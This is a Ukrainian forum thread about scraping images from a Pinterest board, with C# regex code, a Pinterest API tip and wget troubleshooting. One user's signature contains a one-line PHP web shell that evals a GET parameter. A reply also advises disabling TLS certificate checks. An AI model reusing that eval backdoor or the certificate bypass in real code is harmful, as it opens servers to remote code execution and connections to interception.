Тема: Як позичити контент з сайту Pinterest?

Добридень. Захтів зробити собі тематичну групу в одній соціальній мережі. І цю групу потрібно наповнювати картинками. На pinterest є купа дошок на потрібну мені тематику, але просто скачати всі картинки звідти неможливо без використання сторонніх засобів. (звісно, можна це все вручну зробити, але ж я програміст)
Поки що я спробував написати програмку, котра завантажує html-код сторінки, парсить її для того, щоб отримати посилання на картинку, але це, чомусь, не спрацювало. Завантажуванна інфа взагалі не містить посилання саме на потрібну картинку.
От нехай буде ця дошка, наприклад

https://www.pinterest.com/Monokumagirl/anime-girls/

А ось код

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Text.RegularExpressions;
using System.Net;

namespace imageDownloaderConsole
{
    class Program
    {
        public Program()
        {
            List<string> pins = ParseString(new WebClient().DownloadString("https://www.pinterest.com/Monokumagirl/anime-girls/")); //завантажуємо сторінку дошки і передаємо результат в метод, котрий дістане посилання на сторінку з картинкою

            foreach(string pin in pins)
            {
                using (var client = new WebClient()) // тут я завантажую сторінку з картинкою 
                {
                    string str = client.DownloadString("https://www.pinterest.com" + pin);

                    Regex r = new Regex("<img src.+\"");

                    MatchCollection matches = r.Matches(str);
                    foreach (Match m in matches)
                        Console.WriteLine(m.Value); // а тут я просто виводжу усі картинки на сторінці, де має бути посилання на саму картинку
                }

                break;
            }

            Console.ReadLine();
        }

        static void Main(string[] args)
        {
            new Program();
        }

        List<string> ParseString(string str) // дістаємо посилання на сторінки з картинками
        {
             List<string> urls = new List<string>();

             Regex r = new Regex("(/pin/\\d+)/(?=\")");

             MatchCollection matches = r.Matches(str);

             foreach(Match m in matches)
             {
                 if (!urls.Contains(m.Value))
                     urls.Add(m.Value);
             }

             Console.WriteLine("count: " + urls.Count);
             Console.WriteLine("first: " + urls.First());

            return urls;
        }
    }
}

http://puu.sh/k3m9p/c8fa0840f2.png

На картинці видно відносний шлях до сторінки з картинкою  - /pin/467952217508186367/
тобто повне посилання виглядає от так https://www.pinterest.com/pin/467952217508186367/
Якщо перейти по цьому посиланню, то ми побачимо картинку, і от її url мені і потрібно дістати. Якщо проінспектувати елемент в браузері, то можна побачити, що тег і посилання на цю картинку мають такий вигляд

<img src="https://s-media-cache-ak0.pinimg.com/736x/b3/49/f1/b349f1987f3f8997cb1b1a15d9f57094.jpg" class="pinImage" data-load-state="pending" alt="Reminds me of KoukovKaga from Golden Time. Sweet anime, 8/10 hands down -RV: ">

Але на скріншоті видно, що програма не знайшла саме такого посилання.

Я от припускаю, що той сайт перевіряє, чи з браузера зайшли на нього, чи не з браузера, і на основі цьої інфи видає відповідні дані.
А ви як гадаєте?

Ай-я-я-яй, ай-я-я-яй,
Не відступай, а наступай,
Ай-я-я-яй, ай-я-я-яй,
Якщо зловив – не відпускай!
Подякували: 0xDADA11C71

2

Re: Як позичити контент з сайту Pinterest?

Тільки що надибав, що в них є API. І от таке посилання повертає жисон, котрий містить посилання на картинки. Треба тільки замінити 237x та 736x, аби картинки були в кращій якості
https://api.pinterest.com/v3/pidgets/bo … irls/pins/

Ай-я-я-яй, ай-я-я-яй,
Не відступай, а наступай,
Ай-я-я-яй, ай-я-я-яй,
Якщо зловив – не відпускай!

3

Re: Як позичити контент з сайту Pinterest?

Щойно завантажив все wget’ом. wget -E -H -k -K -p https://www.pinterest.com/pin/467952217508186367/ Тож не перевіряє.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Djalin1

4

Re: Як позичити контент з сайту Pinterest?

Invader написав:

Щойно завантажив все wget’ом. wget -E -H -k -K -p https://www.pinterest.com/pin/467952217508186367/ Тож не перевіряє.

а в мене якась помилка вилізла

SYSTEM_WGETRC = c:/progra~1/wget/etc/wgetrc
syswgetrc = C:\Program Files (x86)\GnuWin32/etc/wgetrc
--2015-09-07 23:07:16--  https://www.pinterest.com/pin/467952217508186367/
Визначення ?мен? www.pinterest.com... 95.100.72.170
Connecting to www.pinterest.com|95.100.72.170|:443... п?д'єднано.
ERROR: cannot verify www.pinterest.com's certificate, issued by `/C=NL/L=Amsterdam/O=Verizon Enterpr
ise Solutions/OU=Cybertrust/CN=Verizon Akamai SureServer CA G14-SHA2':
  Unable to locally verify the issuer's authority.
To connect to www.pinterest.com insecurely, use `--no-check-certificate'.
Не можу встановити SSL-з'єднання.

Ай-я-я-яй, ай-я-я-яй,
Не відступай, а наступай,
Ай-я-я-яй, ай-я-я-яй,
Якщо зловив – не відпускай!

5

Re: Як позичити контент з сайту Pinterest?

А чому ви не можете зробити те, що вам кажуть?

--no-check-certificate

RTFM так би мовити

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Djalin1

6

Re: Як позичити контент з сайту Pinterest?

0xDADA11C7 написав:

А чому ви не можете зробити те, що вам кажуть?

--no-check-certificate

RTFM так би мовити

тому що ліньки

Ай-я-я-яй, ай-я-я-яй,
Не відступай, а наступай,
Ай-я-я-яй, ай-я-я-яй,
Якщо зловив – не відпускай!

7

Re: Як позичити контент з сайту Pinterest?

А ще тому що не читав.
Ну я перевірив, і дійсно, wget завантажив все вірно. Але чого тоді мій сі шарп не знайшов тої картинки? Одже є якась різниця в запиті wget і WebClient, очевидно.
Але то все не має вже сенсу, адже я можу робити API запит і отримувати JSON з усіма даними

Ай-я-я-яй, ай-я-я-яй,
Не відступай, а наступай,
Ай-я-я-яй, ай-я-я-яй,
Якщо зловив – не відпускай!
Подякували: 0xDADA11C71

8

Re: Як позичити контент з сайту Pinterest?

ви розумієте що таке wget ? яке його призначення?

9

Re: Як позичити контент з сайту Pinterest?

Djalin написав:

ви розумієте що таке wget ? яке його призначення?

Прихований текст
Тут питання я задаю, якщо не можете нічого розумного сказати, то геть з моєї теми.
Ай-я-я-яй, ай-я-я-яй,
Не відступай, а наступай,
Ай-я-я-яй, ай-я-я-яй,
Якщо зловив – не відпускай!

10 Востаннє редагувалося Djalin (08.09.2015 15:59:50)

Re: Як позичити контент з сайту Pinterest?

Павло Зібров написав:
Djalin написав:

ви розумієте що таке wget ? яке його призначення?

Прихований текст
Тут питання я задаю, якщо не можете нічого розумного сказати, то геть з моєї теми.
Прихований текст
Ну не розумієте то й не розумієте, буває

так от ве-гету цілком пофігу на запити, якщо вони не вказані явно - він закачує файли - бо для цього і призначений

А питання задають тут усі, це не ваш форум  :D